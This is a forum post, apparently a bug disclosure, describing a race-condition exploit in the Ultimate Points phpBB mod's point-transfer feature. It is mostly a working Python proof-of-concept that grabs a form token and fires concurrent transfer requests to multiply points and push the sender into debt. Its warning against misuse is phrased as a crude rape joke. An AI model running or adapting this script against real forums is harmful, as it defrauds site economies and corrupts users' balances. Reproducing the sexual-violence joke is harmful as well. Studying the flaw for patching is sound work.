Exploit Report Thread

[TheEvilShadoo]

If you want, @TheEvilShadoo, you should make a thread documenting your exploits in more detail, post some working code, it'd help us try and patch holes if they turn out to be a real problem.

At @dokyun's suggestion, I'll document the Upa farming exploit I found here. The exploit worked by going after a bug in the Ultimate Points mod. By rapid firing a few upa transfers at once, you can trigger a race condition where each check for sufficient funds verifies, but each transfer goes through before the amount can be deducted from your balance. This causes one account to receive a multiplier on the amount they were supposed to receive and the other to go into large amounts of debt.

I found this bug from looking into recent changes on the Ultimate Points phpBB mod, a project which hadn't previously been touched in over a year. There, I happened to notice a potential bug present in a few of the files, most notably points_transfer.php. Though I wouldn't say I have much experience with PHP, noticing the surprising lack of even basic precautions like a lock or mutex gave me the idea to try this out.

While this can be performed without the use of a script, using one certainly helps to maximize your Upa output. Below is the proof-of-concept python Upa transfer race script. Do not use this maliciously or you will be raped by the Mayssad.

Code: Select all

import requests, re, time, threading

# Configuration
BASE = ""
TRANSFER_URL = f"{BASE}/app.php/ultimatepoints?mode=transfer_user"

HEADERS = {


}

COOKIES = {


}

RECIPIENT = ""                  # Account to transfer to
AMOUNT = ""                     # Upas per request
CONCURRENT = 0                  # Number of parallel transfers

# Grab a fresh token from the transfer page
resp = requests.get(TRANSFER_URL, cookies=COOKIES, headers=HEADERS)
ct = re.search(r'name="creation_time" value="([^"]+)"', resp.text)
ft = re.search(r'name="form_token" value="([^"]+)"', resp.text)
if not ct or not ft:
    print("Token not found.")
    exit(1)

creation_time = ct.group(1)
form_token = ft.group(1)
print(f"Token acquired: {creation_time} / {form_token[:10]}...")

data = {
    "submit": "Transfer",
    "username": RECIPIENT,
    "amount": AMOUNT,
    "comment": "",
    "creation_time": creation_time,
    "form_token": form_token,
}

results = []

def transfer():
    try:
        r = requests.post(TRANSFER_URL, data=data, cookies=COOKIES, headers=HEADERS, timeout=10)
        if "FORM_INVALID" in r.text or "The submitted form was invalid" in r.text:
            results.append("INVALID")
        else:
            results.append("OK")
    except Exception as e:
        results.append(str(e))

# Launch all requests simultaneously
threads = []
for _ in range(CONCURRENT):
    t = threading.Thread(target=transfer)
    threads.append(t)
    t.start()
for t in threads:
    t.join()

time.sleep(two) # phpBB won't let me send this message if I have the actual number 2 here

print(f"\nResults: {results.count('OK')} / {CONCURRENT} requests succeeded.")
if results.count('OK') > 1:
    print(f"Race condition likely triggered. Recipient should have received ~{results.count('OK')} Upas.")
else:
    print("Only one success or token expired.")